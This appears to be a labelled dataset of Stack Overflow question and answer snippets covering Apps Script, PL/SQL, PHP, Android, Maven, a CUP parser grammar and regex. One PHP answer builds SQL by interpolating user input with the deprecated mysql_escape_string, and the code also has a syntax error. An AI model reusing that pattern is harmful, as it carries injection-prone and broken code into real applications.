24196291	0	 <p>As Henrique said, you just need to call the function you made as below</p> <pre><code> function sendEmail() { var firstThread = GmailApp.getInboxThreads(0,1)[0]; var message = firstThread.getMessages()[0]; var sender = message.getFrom(); var body = "Detta mail är ursprungligen skickat från" + " " + sender + '\n' + message.getBody(); var subject = message.getSubject(); var attachment = message.getAttachments(); GmailApp.sendEmail("user.name@adje.com", subject, "", {htmlBody: body, attachments: attachment}); Logger.log(body); markArchivedAsRead(); } function markArchivedAsRead() { var threads = GmailApp.search('label:unread -label:inbox'); GmailApp.markThreadsRead(threads); }; </code></pre>
517126	0	 <p>Xcode can display man pages:</p> <p><a href="http://developer.apple.com/DOCUMENTATION/DeveloperTools/Conceptual/XcodeWorkspace/200-Documentation_Access/chapter_6_section_8.html" rel="nofollow noreferrer">http://developer.apple.com/DOCUMENTATION/DeveloperTools/Conceptual/XcodeWorkspace/200-Documentation_Access/chapter_6_section_8.html</a></p> <p>For this to work, the "Core Library" doc set or "All Doc Sets" must be selected.</p>
21264714	0	Procedure to return first name when inputting last name <pre><code>create or replace procedure p_inout (v_emp_lname in varchar2(25)) as v_first_name varchar2(20); begin select first_name into v_first_name from employees where last_name=v_emp_lname; dbms_output.put_line(v_first_name); end; </code></pre> <p>I am getting Error(2,25): PLS-00103: Encountered the symbol "(" when expecting one of the following: := . ) , @ % default character The symbol ":=" was substituted for "(" to continue. </p>
38354426	0	 <p>Two mistakes: 1) remove letter "s". 2) Add first Upper case</p> <pre><code>... class Product extends Model { protected $table='product'; } </code></pre>
253185	0	 <p>I've usually experience this whenever the ClassLoader changes.</p> <p>Depending on the exact context that an app is running ClassLoaders have different rules about when a resource file exists. For example in netbeans getResource is case insensitive, but in Sun's JRE it is.</p> <p>Although not directly answering your question, I thought you should know this (if you didn't already).</p>
26185432	0	 <p>The ProductAreaRegistration was configured to default to a controller that would redirect to the Home controller on the web site root (area="").</p> <p><strong>The ProductAreaRegistration</strong> </p> <pre><code> public class ProductAreaRegistration : AreaRegistration { public override string AreaName { get { return "Product"; } } public override void RegisterArea(AreaRegistrationContext context) { context.MapRoute( "Product_default", "Product/{controller}/{action}/{id}", defaults: new { controller="Redirect", action = "Index", id = UrlParameter.Optional }); } } </code></pre> <p><strong>The Controller</strong></p> <pre><code>public class RedirectController : Controller { // GET: Product/Redirect public ActionResult Index() { return RedirectToAction("Index","Home",new { area = "" }); } } </code></pre>
35191083	0	How to avoid 'Unable to load DLL' scenarios <p>I'm trying to build a game using Monogame. Monogame uses its own bunch of DLLs. However inside one of those DLLs is a dependency on another DLL (which could potentially not exist as it was not installed).</p> <p>More specifically when trying to utilize a method/class of Monogame's DLLs</p> <pre><code>GamePad.GetState(PlayerIndex.One).Buttons.Back </code></pre> <p>This error is produced:</p> <blockquote> <p>Unable to load DLL 'xinput1_3.dll': The specified module could not be found. (Exception from HRESULT: 0x8007007E)</p> </blockquote> <p>The fix for this error isn't difficult. The user needs to install the correct system requirements.</p> <p>How do I tell this to the user from the front end? My aim is to inform the user that 'Gamepad controllers are disabled for this because xxx is not installed on your system', while carrying on running the game - as gamepads are optional.</p> <p>Is there a way I could have caught this issue (i.e. is there a way I could have checked to see if this DLL exists - without being very specific of its location/filepath) before attempting to utilize the method/class?</p> <p>Is having a <code>try-catch</code> block around the whole application the best approach?</p> <p>Are there better ways to handling the (common?) 'Unable to load DLL' cases?</p> <p>My main goal is to ignore any DLL dependency issues as I plan to distribute this game without installers. Plus any missing non-game-breaking DLLs should just be ignored.</p>
17533496	0	 <p>To get the list of uploaded file names from the <strong>server</strong>, requires server-side code:</p> <p><em>UploadHandler.php</em> is used to upload files to a directory/s on your server.</p> <p>If you've downloaded the plug-in archive and extracted it to your server, the files will be stored in php/files by default. (Ensure that the php/files directory has server write permissions.) see: <a href="https://github.com/blueimp/jQuery-File-Upload/wiki/Setup" rel="nofollow">https://github.com/blueimp/jQuery-File-Upload/wiki/Setup</a></p> <p><em>UploadHandler.php</em> is just that, an upload handler. It does not provide access to server files without a connection to the server.</p> <p>JavaScript cannot access files on the <strong>server</strong>, so you'll need a php script to do so. (Although JavaScript could possibly keep track of everything uploaded, renamed, and deleted.)</p> <p>You can modify <em>UploadHandler.php</em> to connect to your database, and write the file paths (and any other data) to a files table during upload. Then you can access your files via standard SQL queries:</p> <h2>Modify <em>UploadHandler.php</em>:</h2> <ol> <li>Add your database connection parameters</li> <li>Write an SQL query function</li> <li>Write a second function to perform your query</li> <li>Call the second function</li> </ol> <p>see: <a href="https://github.com/blueimp/jQuery-File-Upload/wiki/Working-with-databases" rel="nofollow">https://github.com/blueimp/jQuery-File-Upload/wiki/Working-with-databases</a></p>
32025692	0	 <p>Try this:</p> <pre><code>&lt;?php if ($_POST['sub']) { $server = "localhost"; $username = "yourusernamehere"; $pass = "yourpasswordhere"; $db = "users"; // Create connection $mysqli = new mysqli($server, $username, $pass, $db); // Check connection if ($mysqli-&gt;connect_error) { die("Connection failed: " . $mysqli-&gt;connect_error); } echo "Connected successfully"; $uname = mysql_escape_string($_POST['username']) $mail = mysql_escape_string($_POST['email']); $sql = "INSERT INTO users (username, email) VALUES ('$uname', '$mail')"; $insert = $mysqli-&gt;query($sql); if ($insert){ echo "Success! Row ID: {$mysqli-&gt;insert_id}"; header("Location:main.php"); } else { die("Error: {$mysqli-&gt;errno} : {$mysqli-&gt;error}"); } $mysqli-&gt;close(); } ?&gt; &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;body&gt; &lt;form action = "" method = "POST"&gt; &lt;label&gt;Enter your Username:&lt;/label&gt; &lt;input type="text" name="username" required&gt; &lt;label&gt;Enter your Email:&lt;/label&gt; &lt;input type="email" name="email" required &gt; &lt;input type="hidden" name = "check"&gt; &lt;input type="submit" name = "sub" value = "INSERT"&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <blockquote> <p>Your database name as it lookes on the third line is <code>'users'</code> and so is the name of your table that you are trying to <code>INSERT INTO</code> into <code>"users'</code> line 10. Are you sure your are not messing up there?</p> </blockquote>
16701139	0	 <p>I think I found another solution to this problem, which lets you leave the Colorized Parameter Help feature turned on.</p> <p>In Fonts and Colors, I specified a value for the "Signature Help - User Types(Value Types)" item, and I don't have the problem any more.</p> <p>Note: I also have the Color Theme Editor extension installed - I'm not sure if this plays any part in the effectiveness of the workaround (but I had it installed before as well, so the extension alone didn't fix the problem).</p> <p>Also, someone posted the bug on MS Connect: <a href="http://connect.microsoft.com/VisualStudio/feedback/details/770603/text-editor-the-type-color-for-structs-is-black" rel="nofollow">http://connect.microsoft.com/VisualStudio/feedback/details/770603/text-editor-the-type-color-for-structs-is-black</a></p>
13291700	1	executemany for MySQLdb error for large number of rows <p>I'm currently running a script to insert values (a list of tuples) into a MySQL database, using the execute many function. When I use a small number of rows (`1000), the script runs fine.</p> <p>When I use around 40,000 rows, I receive the following errors:</p> <pre><code>cursor.executemany( stmt, trans_frame) Traceback (most recent call last): File "C:\Python27\lib\site-packages\IPython\core\interactiveshell.py", line 2538, in run_code exec code_obj in self.user_global_ns, self.user_ns File "&lt;ipython-input-1-66b44e71cf5a&gt;", line 1, in &lt;module&gt; cursor.executemany( stmt, trans_frame) File "C:\Python27\lib\site-packages\MySQLdb\cursors.py", line 253, in executemany r = self._query('\n'.join([query[:p], ',\n'.join(q), query[e:]])) File "C:\Python27\lib\site-packages\MySQLdb\cursors.py", line 346, in _query rowcount = self._do_query(q) File "C:\Python27\lib\site-packages\MySQLdb\cursors.py", line 310, in _do_query db.query(q) OperationalError: (2006, 'MySQL server has gone away') </code></pre> <p>Any suggestions?</p>
15945808	0	 <p>Although I am quite new in this let me share with you what I am doing. </p> <p>Firstly, I create the engine (where is the service that I call located).</p> <p>In my interface: </p> <pre><code>@interface INGMainViewController (){ MKNetworkEngine *engine_; } </code></pre> <p>In my Initialization:</p> <pre><code>- (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil { self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil]; if (self) { engine_= [[MKNetworkEngine alloc] initWithHostName:@"www.xxx.gr"]; // Custom initialization } return self; } </code></pre> <p>Then in the function that I'll call the service: </p> <pre><code>NSDictionary *formParams = [NSDictionary dictionaryWithObjectsAndKeys: theClientCode, @"ClientCode", theContractNumber, @"ContractCode", theAppleID, @"AppleID", @" ", @"AndroidID", @" ", @"WindowsID", uid, @"AppleDeviceID", @" ", @"AndroidDeviceID", @" ", @"WindowsDeviceID", theCellPhone, @"TelephoneNumber" , nil]; MKNetworkOperation *operation = [self.engine operationWithPath:@"/services/Authentication.ashx" params: formParams httpMethod:@"POST"]; [operation addCompletionHandler: ^(MKNetworkOperation *operation) { NSLog(@" Operation succeds: %@", [operation responseString]); } errorHandler:^(MKNetworkOperation *errorOperation, NSError *error) { NSLog(@" Errors occured: %@", error); }]; [self.engine enqueueOperation:operation]; } </code></pre> <p>...and that is all. </p> <p>Of course I still face some issues but i think there are not coming from the Kit.</p> <p>I hope I have helped you. </p>
37023758	0	How to move HBase tables to HDFS in Parquet format? <p>I have to build a tool which will process our data storage from HBase(HFiles) to HDFS in parquet format.</p> <p>Please suggest one of the best way to move data from HBase tables to Parquet tables.</p> <p>We have to move 400 million records from HBase to Parquet. How to achieve this and what is the fastest way to move data?</p> <p>Thanks in advance.</p> <p>Regards,</p> <p>Pardeep Sharma.</p>
36349319	0	 <p>I assume you want to do this in an activity class.</p> <p>You first create a new instance of <code>EditText</code>:</p> <pre><code>EditText textfield = new EditText(this); </code></pre> <p>Then you want to set the properties of the <code>EditText</code>:</p> <pre><code>textfield.setText(...); textfield.setHint(...); textfield.setLayoutParams(...); textfield.setTextSize(...); ... </code></pre> <p>After that, just add the edit text to the activity:</p> <pre><code>this.addView(textfield); </code></pre> <p>Easy! Right?</p> <p>Of course not!</p> <p>The hardest part of this is deciding how you want to layout the views. If you don't like doing that, you can use this alternative way.</p> <p>First, create an XML layout file, then use XML to design how your view will look. Let's say you want to have a <code>TextView</code> on the left and an <code>EditText</code> on the right. You just need to put a text view and an edit text in a horizontal linear layout.</p> <p>After that, get the inflated view:</p> <pre><code>View v = getLayoutInflater().inflate(R.layout.your_layout_name, null); </code></pre> <p>And add it to parent:</p> <pre><code>addView(v); </code></pre>
12108875	0	 <p>@JcFx - This has not been the case actually!</p> <pre><code>&lt;div style="width: 100%; margin-top: 10px"&gt; &lt;div style="float: left; display: inline-block; width: 50%" class="div1"&gt; &lt;div style="float: left; display: inline-block; width: 25%" class="div2"&gt; &lt;ul&gt; &lt;li class="list1"&gt; &lt;asp:Label ID="lblPrefix" runat="server" Text='Prefix'&gt;&lt;/asp:Label&gt; &lt;/li&gt; </code></pre> <p>and so on.</p>
6774428	1	Python get start and end date of the week <p>How to get the start date and end date of a week, and also if the following dates below comes under a particular range of start and end dates of the week how to show only those weeks start and end date.I am using python 2.4</p> <pre><code>2011-03-07 0:27:41 2011-03-06 0:13:41 2011-03-05 0:17:40 2011-03-04 0:55:40 2011-05-16 0:55:40 2011-07-16 0:55:40 </code></pre>
40883500	0	java-regex: How to write regular expression for two digit numbers <p>I have password field with ID locator "j_idt90". However the ID is dynamic and the two digits in the preceeding changes everytime login page loads.</p> <p>Iam using automation to capture this field and used below regular expression but it is failing. Do, let me know where I'm failing to identify the element.</p> <p>Reg Exp - <code>driver.findElement(By.id("j_idt[0-9]{2}"));</code></p>
28351505	0	 <p>I think that your problem is that you want to use $requests as a global variable. In your code it's not. You should pass it as a reference:</p> <pre class="lang-php prettyprint-override"><code>$mh = curl_multi_init(); $requests = array(); addSentimentHandle ( 'Hello', $requests ); addSentimentHandle ( 'Hello :)', $requests ); function addSentimentHandle($tweet, &amp;$requests) { $url = makeURLForAPICall($tweet); array_push($requests, curl_init ($url)); print_r($requests); } </code></pre> <p>note the '&amp;' as a prefix for $requests in function declaration. Then php wont used it as a local variable in this function.</p> <p>I recommend to you to use php as an object oriented language.</p> <pre class="lang-php prettyprint-override"><code>class myAwesomeTweeterClass{ protected $_requests; public function __construct(){ $this-&gt;_requests = array(); } public function addSentimentHandle($tweet) { $url = makeURLForAPICall($tweet); array_push($this-&gt;_requests, curl_init ($url)); } public function getRequests(){ return $this-&gt;_requests; } } $mh = curl_multi_init(); $obj = new myAwesomeTweeterClass(); $obj-&gt;addSentimentHandle ( 'Hello'); $obj-&gt;addSentimentHandle ( 'Hello :)'); print_r($obj-&gt;getRequests()); </code></pre>
37187338	0	Input path limit for Android ndk source file <p>Is there a known limit on the path for the Android ndk input files? I've run into an issue where the input path is over 155 characters the android g++ command fails to find the file.</p> <p>The local path back down to my base directory is quite deep, in a few cases I have a full path back to a source file in the jni project making the path a bit long, though 155 doesn't seem like a very high limit.</p> <p><code>LOCAL_PATH := $(call my-dir)/../../../../../../../../../..</code></p> <p>Here is an example of a failure, at 155 characters:</p> <pre><code>/cygdrive/c/java/Android/android-ndk-r10d/toolchains/arm-linux-androideabi-4.8/prebuilt/windows-x86_64/bin/arm-linux-androideabi-g++ -c jni/VECodecG723/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/./././VECodecG723/VECodecG723.cpp arm-linux-androideabi-g++.exe: error: jni/VECodecG723/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/./././VECodecG723/VECodecG723.cpp: No such file or directory arm-linux-androideabi-g++.exe: fatal error: no input files </code></pre> <p>And a success case, at 153 characters:</p> <pre><code>/cygdrive/c/java/Android/android-ndk-r10d/toolchains/arm-linux-androideabi-4.8/prebuilt/windows-x86_64/bin/arm-linux-androideabi-g++ -c jni/VECodecG723/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/././VECodecG723/VECodecG723.cpp jni/VECodecG723/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/../gen/././VECodecG723/VECodecG723.cpp:26:17: fatal error: jni.h: No such file or directory #include &lt;jni.h&gt; </code></pre> <p>The repeating ../gen is just for this sample, the actual path contains 10 ../ and then the full path back to the file.</p> <p>I've tried the paths with the regular g++ compiler and it does not fail because of the path length. I have also tried this in a Windows command shell with the android g++ and it has the same issue.</p> <p>Is there anything I can do short of renaming my folders.</p>
34944982	0	 <p>This is not a bug but an unsupported feature. It is currently not possible to set the parallelism for a single operator, but only the complete job.</p> <p>I have opened a JIRA for this: <a href="https://issues.apache.org/jira/browse/FLINK-3275" rel="nofollow">https://issues.apache.org/jira/browse/FLINK-3275</a></p>
37516178	0	Maven not able to download dependencies using eclipse, proxy not working <p>I am trying to build a maven project using eclipse. My overall problem is Maven will not connect to the online Maven repository to collect the necessary artifacts needed to build the project. I have tried using numerous proxies, but get the following errors:</p> <pre><code>Caused by: java.io.IOException: unexpected end of stream on Connection{repo.maven.apache.org:443, proxy=HTTP @ /101.96.11.44:95 hostAddress=101.96.11.44 cipherSuite=none protocol=http/1.1} (recycle count=0) at com.squareup.okhttp.internal.http.HttpConnection.readResponse(HttpConnection.java:210) at com.squareup.okhttp.Connection.makeTunnel(Connection.java:400) at com.squareup.okhttp.Connection.upgradeToTls(Connection.java:229) at com.squareup.okhttp.Connection.connect(Connection.java:159) at com.squareup.okhttp.Connection.connectAndSetOwner(Connection.java:175) at com.squareup.okhttp.OkHttpClient$1.connectAndSetOwner(OkHttpClient.java:120) at com.squareup.okhttp.internal.http.HttpEngine.nextConnection(HttpEngine.java:330) at com.squareup.okhttp.internal.http.HttpEngine.connect(HttpEngine.java:319) at com.squareup.okhttp.internal.http.HttpEngine.sendRequest(HttpEngine.java:241) at com.squareup.okhttp.Call.getResponse(Call.java:271) at com.squareup.okhttp.Call$ApplicationInterceptorChain.proceed(Call.java:228) at com.squareup.okhttp.Call.getResponseWithInterceptorChain(Call.java:199) at com.squareup.okhttp.Call.execute(Call.java:79) at io.takari.aether.okhttp.OkHttpAetherClient.execute(OkHttpAetherClient.java:154) at io.takari.aether.okhttp.OkHttpAetherClient.get(OkHttpAetherClient.java:100) at io.takari.aether.connector.AetherRepositoryConnector$GetTask.resumableGet(AetherRepositoryConnector.java:600) at io.takari.aether.connector.AetherRepositoryConnector$GetTask.run(AetherRepositoryConnector.java:453) at io.takari.aether.connector.AetherRepositoryConnector.get(AetherRepositoryConnector.java:304) ... 48 more Caused by: java.io.EOFException: \n not found: size=0 content=... at okio.RealBufferedSource.readUtf8LineStrict(RealBufferedSource.java:200) at com.squareup.okhttp.internal.http.HttpConnection.readResponse(HttpConnection.java:190) ... 65 more </code></pre> <p>I have also tried connecting to another network that is not my own and have had no success. </p> <p>When I do not use a proxy, I get the following errors:</p> <pre><code>Caused by: javax.net.ssl.SSLHandshakeException: Remote host closed connection during handshake at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:980) at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1363) at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1391) at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1375) at com.squareup.okhttp.Connection.upgradeToTls(Connection.java:242) at com.squareup.okhttp.Connection.connect(Connection.java:159) at com.squareup.okhttp.Connection.connectAndSetOwner(Connection.java:175) at com.squareup.okhttp.OkHttpClient$1.connectAndSetOwner(OkHttpClient.java:120) at com.squareup.okhttp.internal.http.HttpEngine.nextConnection(HttpEngine.java:330) at com.squareup.okhttp.internal.http.HttpEngine.connect(HttpEngine.java:319) at com.squareup.okhttp.internal.http.HttpEngine.sendRequest(HttpEngine.java:241) at com.squareup.okhttp.Call.getResponse(Call.java:271) at com.squareup.okhttp.Call$ApplicationInterceptorChain.proceed(Call.java:228) at com.squareup.okhttp.Call.getResponseWithInterceptorChain(Call.java:199) at com.squareup.okhttp.Call.execute(Call.java:79) at io.takari.aether.okhttp.OkHttpAetherClient.execute(OkHttpAetherClient.java:154) at io.takari.aether.okhttp.OkHttpAetherClient.get(OkHttpAetherClient.java:100) at io.takari.aether.connector.AetherRepositoryConnector$GetTask.resumableGet(AetherRepositoryConnector.java:600) at io.takari.aether.connector.AetherRepositoryConnector$GetTask.run(AetherRepositoryConnector.java:453) at io.takari.aether.connector.AetherRepositoryConnector.get(AetherRepositoryConnector.java:304) ... 48 more Caused by: java.io.EOFException: SSL peer shut down incorrectly at sun.security.ssl.InputRecord.read(InputRecord.java:505) at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:961) ... 67 more </code></pre> <p>The only solution that I have found is downloading the dependencies one by one from the Maven repository manually. Given that there are more than 100 dependencies left to install, I'd really prefer not to spend that much time getting this to work. If any other details need to be provided, I will be happy to do so. </p>
25185601	0	shift/reduce Error with Cup <p>Hi i am writing a Parser for a Programming language my university uses, with jflex and Cup I started with just the first basic structures such as Processes an Variable Declarations.</p> <p>I get the following Errors</p> <pre><code> Warning : *** Shift/Reduce conflict found in state #4 between vardecls ::= (*) and vardecl ::= (*) IDENT COLON vartyp SEMI and vardecl ::= (*) IDENT COLON vartyp EQEQ INT SEMI under symbol IDENT Resolved in favor of shifting. Warning : *** Shift/Reduce conflict found in state #2 between vardecls ::= (*) and vardecl ::= (*) IDENT COLON vartyp SEMI and vardecl ::= (*) IDENT COLON vartyp EQEQ INT SEMI under symbol IDENT Resolved in favor of shifting. </code></pre> <p>My Code in Cup looks like this : </p> <pre><code>non terminal programm; non terminal programmtype; non terminal vardecl; non terminal vardecls; non terminal processdecl; non terminal processdecls; non terminal vartyp; programm ::= programmtype:pt vardecls:vd processdecls:pd {: RESULT = new SolutionNode(pt, vd, pd); :} ; programmtype ::= IDENT:v {: RESULT = ProblemType.KA; :} ; vardecls ::= vardecl:v1 vardecls:v2 {: v2.add(v1); RESULT = v2; :} | {: ArrayList&lt;VarDecl&gt; list = new ArrayList&lt;VarDecl&gt;() ; RESULT = list; :} ; vardecl ::= IDENT:id COLON vartyp:vt SEMI {: RESULT = new VarDecl(id, vt); :} | IDENT:id COLON vartyp:vt EQEQ INT:i1 SEMI {: RESULT = new VarDecl(id, vt, i1); :} ; vartyp ::= INTEGER {: RESULT = VarType.Integer ; :} ; processdecls ::= processdecl:v1 processdecls:v2 {: v2.add(v1); RESULT = v2; :} | {: ArrayList&lt;ProcessDecl&gt; list = new ArrayList&lt;ProcessDecl&gt;() ; RESULT = list; :} ; processdecl ::= IDENT:id COLON PROCESS vardecls:vd BEGIN END SEMI {: RESULT = new ProcessDecl(id, vd); :} ; </code></pre> <p>I Guess i get the Errors because the Process Declaration and the VariableDeclaration both start with Identifiers then a ":" and then either the Terminal PROCESS or a Terminal like INTEGER. If so i'd like to know how i can tell my Parser to look ahead a bit more. Or whatever Solution is possible.</p> <p>Thanks for your answers.</p>
34691358	0	 <p>Put what you want to exclude inside a negative lookahead in front of the match. For example,</p> <ul> <li><p>To match all punctuations apart from the question mark,</p> <pre><code>/(?!\?)[[:punct:]]/ </code></pre></li> <li><p>To match all words apart from <code>"go"</code>,</p> <pre><code>/(?!\bgo\b)\b\w+\b/ </code></pre></li> </ul>
25217150	0	200 error: missing username when logging in using Parse and LiveCode <p>I am trying to login to Parse through LiveCode but keep getting this error:</p> <blockquote> <p>{"code":200,"error":"missing username"}</p> </blockquote> <p>I have been able to create users, even validate user's email (through the REST API in Parse) but when I try to login I keep getting an error. I think there is something wrong with my JSON formatting or the GET call but I can't figure it out. </p> <pre><code>command mainLogin local tLoginA, tLoginJson, tReturn, tLogin setHeaders put fld "username" into tLoginA [ "username" ] put the cPassword of fld "password" into tLoginA [ "password" ] put urlEncode ( JSON_stringified ( tLoginA ) ) into tLogin put urldecode ( tLogin ) --testing get url ( "https://api.parse.com/1/login?" &amp; tLogin ) put it --testing put JSON_parsed ( it ) into tReturn if ( tReturn [ "error" ] &lt;&gt; empty ) then answer "Please try again: " &amp; tReturn [ "error" ] end if if ( tReturn [ "sessionToken" ] is NOT empty ) then //user logged in successfully put tReturn [ "sessionToken" ] into sSessionToken put tReturn [ "objectid" ] into sObjecteID answer "Welcome " &amp;&amp; tLoginA [ "username" ] mainClearFields end if end mainLogin </code></pre> <p>The functions <code>JSON_parsed()</code> and <code>JSON_stringified()</code> are from a JSON library by Andreas Rozek.</p> <hr> <p><strong>Update</strong></p> <p>I pulled this from the Parse.com REST API documentation on logging in:</p> <blockquote> <p>After you allow users to sign up, you need to let them log in to their account with a username and password in the future. To do this, send a GET request to the /1/login endpoint with username and password as URL-encoded parameters...</p> </blockquote> <p>I get that conceptually but I can't get it to work.</p> <p>Thanks Mark for your comment. I see that I was using the Post header handler which has the <code>Content-Type: application/json</code> added but that doesn't change much. According to the Parse.com docs the GET verb is the proper one (I changed the code to show the new header handler).</p>
35178104	0	 <p>Try this:-</p> <pre><code>&lt;RelativeLayout android:layout_width="match_parent" android:layout_height="wrap_content"&gt; &lt;ImageView android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_centerInParent="true" android:src="@drawable/clock_number"/&gt; &lt;TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" android:text="Hello World!" /&gt; &lt;/RelativeLayout&gt; </code></pre>
4528828	0	 <p>Your plugin should add a class or maybe a .data cache item to elements that have already been activated by the plugin. Then inside your plugin you can ignore an element if it has already been activated.</p> <p>Also another way is just to select elements from the fragment returned by the ajax call.</p> <pre><code>$('.class').plugin(); $.post(url, function(response) { // add more .class elements. $(response).find('.class').plugin(); }); </code></pre>
36774431	0	How to load images from a directory on the computer in Python <p>Hello I am New to python and I wanted to know how i can load images from a directory on the computer into python variable. I have a set of images in a folder on disk and I want to display these images in a loop.</p>
21222137	0	 <p>It simply replaces <code>x</code> with <code>1.0f</code>, so:</p> <pre><code>NSNumber *n = FBOX(1.0f); </code></pre> <p>becomes:</p> <pre><code>NSNumber *n = [NSNumber numberWithFloat:1.0f]; </code></pre> <p>this is then presented to the compiler.</p>
34524294	0	How to open only inbuilt calling application in android not skype or other applications <pre><code>private void makeCall() { Intent intent = new Intent(Intent.ACTION_CALL); intent.setData(Uri.parse("tel:" + phoneNumber)); if (intent.resolveActivity(getPackageManager()) != null) { startActivity(intent); } } </code></pre> <p>I want to open only phone built call app not Skype or other applications.</p>
15426142	0	Log Files in HBase <p>Where will be the HLog files are stored in HBase. Currently i am using HBase on top of my local file system instead of HDFS, I wanted to observe how HBase is logging the details for each operation like put. How can i observe that?<br> I wanted to check how it is handling the user given timestamp</p>
23243249	0	How to play .mkv video in ASP.NET MVC using Microsoft.Web.Helpers.Video? <p>THis is a Self explantory title! I have a asp.net mvc application where I display videos from youtube. Now we decided not to use youtube because of their ads and other... First I used </p> <pre><code> @Microsoft.Web.Helpers.Video.Flash(...) </code></pre> <p>to display <code>.swf</code> videos. Can anyone tell me How to play <code>.mkv</code> videos in ASP.NET MVC using(or not using) <code>Microsoft.Web.Helpers.Video</code> helper ?</p>
6378822	0	 <p>The months are numbered from zero, not one. In other words, "6" is July, not June.</p> <p>(I mean, they're numbered that way as far as the JavaScript "Date" class is concerned.)</p>
3138626	0	 <p>You're essentially asking what is referred to as 'matchmaking' in PC and console games.</p> <p>The notion of displaying all currently online players or active matches is an early one in online multiplayer gaming, and I think it's seen its time. Instead, try and offer your players two options: Play with your friends or play against people of your skill level.</p> <p>Showing someone a complete list of tens/hundreds or even thousands of games/players is just going to overwhelm them. People are much more comfortable knowing they're playing against people they know (and trust not to be unsportsmanlike) or at least that they're playing against someone of comparable skill level. These 2 concepts are often called 'buddy based matchmaking' (or friend lists) and 'automatch' or skill based matchmaking. </p> <p>Unfortunately, from what I've seen in the <a href="http://developer.apple.com/iphone/library/documentation/NetworkingInternet/Conceptual/GameKit_Guide/Introduction/Introduction.html#//apple_ref/doc/uid/TP40008304-CH1-SW1" rel="nofollow noreferrer">GameKit framework</a>, neither are fully supported, at least as far as playing on non LAN connections. You're going to have to either develop that yourself (and very few iPhone developers are going to have the resources to create and host it), or see if someone like <a href="http://openfeint.com/developers" rel="nofollow noreferrer">OpenFeint</a>, ngmoco (<a href="http://plusplus.com/about" rel="nofollow noreferrer">plusplus</a>), Chillingo (<a href="http://www.crystalsdk.com/" rel="nofollow noreferrer">Crystal</a>) etc match your needs. OpenFeint seem to be talking about matchmaking on their site and plusplus offer buddy based challenges. The OpenFeint signup process is the easiest and you get access to their SDK right away for development without prior approval.</p> <p>Now here's one final thing to consider: smaller games aren't going to have the player base to have enough concurrent players around so that everyone will always find a suitable match at any time of the day/week. Unless you have promotion and publisher backing, or a breakaway hit, picking an automatch based solution is not your best bet and shouldn't be your only mode of matchmaking. Ideally your game should allow for some turn based form of game play, so you can play asynchronously. That model has worked great for games like Words With Friends.</p>
22048718	0	 <p>The only progress I have made on this question is the discovery that on the workstation I was using, the SUBST command was used to create drive D. That is to say, C and D are really the same physical drive.</p> <p>SUBST does not seem to completely break Git though. I have the project on drive D and the git repo on a completely different directory on drive D and everything works.</p> <pre><code>username@host /d/ProjectName (branch) $ cat .git gitdir: d:\gitrepo\ProjectName.git </code></pre> <p>So the best answer I have is a workaround, where I advise: In Windows there may be an issue:</p> <pre><code>1. If the repo and working dir are on different drives 2. If (1) is true and you use SUBST </code></pre> <p>But whichever of those is the case, the work around is one or both of the following:</p> <pre><code>1. put everything on the same drive letter. It works even if that drive is a 'subst' drive. 2. Use the windows "d:\" notation in the .git file </code></pre>
3713871	0	Globally Reuse ActiveRecord Queries across Models? <p>Not sure how to word the question concisely :).</p> <p>I have say 20 Posts per page, and each Post has 3-5 tags. If I show all the tags in the sidebar (<code>Tag.all.each...</code>), then is there any way to have a call to <code>post.tags</code> not query the database and just use the tags found from <code>Tag.all</code>?</p> <pre><code>class Post &lt; ActiveRecord::Base end class Tag &lt; ActiveRecord::Base end </code></pre> <p>This is how you might use it:</p> <pre><code># posts_controller.rb posts = Post.all # posts/index.html.haml - posts.each do |post| render :partial =&gt; "posts/item", :locals =&gt; {:post =&gt; post} # posts/_item.html.haml - post.tags.each do |tag| %li %a{:href =&gt; "/tags/#{tag.name}"}= tag.name.titleize </code></pre> <p>I know about the following optimizations already:</p> <ol> <li>Rendering partials using <code>:collection</code></li> <li>Eager loading with <code>Post.first(:include =&gt; [:tags])</code></li> </ol> <p>I'm wondering though, if I use <code>Tag.all</code> in my <code>shared/_sidebar.haml</code> template, is there anyway to reuse the result from that query in the <code>post.tags</code> calls?</p>
27323524	0	Execute ScriptCS from c# application <p><strong>Background</strong></p> <p>I'm creating a c# application that runs some status checks (think nagios style checks).</p> <p>What I ideally want is this c# application to look at a specific directory, and just compile/execute any scriptcs scripts within it, and act on the results (send email alerts for failing status checks for example).</p> <p>I would expect the script to return an integer or something (for example) and that integer would indicate weather the status check succeeded or failed.</p> <p>Values returned back to C# application.</p> <pre><code>0 - Success 1 - Warning 2 - Error </code></pre> <p>When first tasked with this I thought this is a job for MEF, but it would be vastly more convenient to create these 'status checks' without having to create a project or compile anything, just plopping a scriptcs script within a folder seems way more attractive.</p> <p><strong>So my questions are</strong></p> <ol> <li><p>Is there any documentation/samples on using a c# app and scriptcs together (google didn't net me much)?</p></li> <li><p>Is this a use case for scriptcs or was it never really intended to be used like this? </p></li> <li><p>Would I have an easier time just creating a custom solution using roslyn or some dynamic compilation/execution? (I have very little experience with scriptsc)</p></li> </ol>
2329519	0	 <p>String literals are simply zero terminated array of chars in C++. There is no operator that allows you to add 2 arrays of chars in C++. </p> <p>There is however a char array and std::string + operator.</p> <p>Change to: </p> <pre><code>const std::string message = std::string("Hello") +", world" + exclam; </code></pre> <p>In some languages like Python string literals are equivalent to variables of type strings. C++ is not such a language.</p>
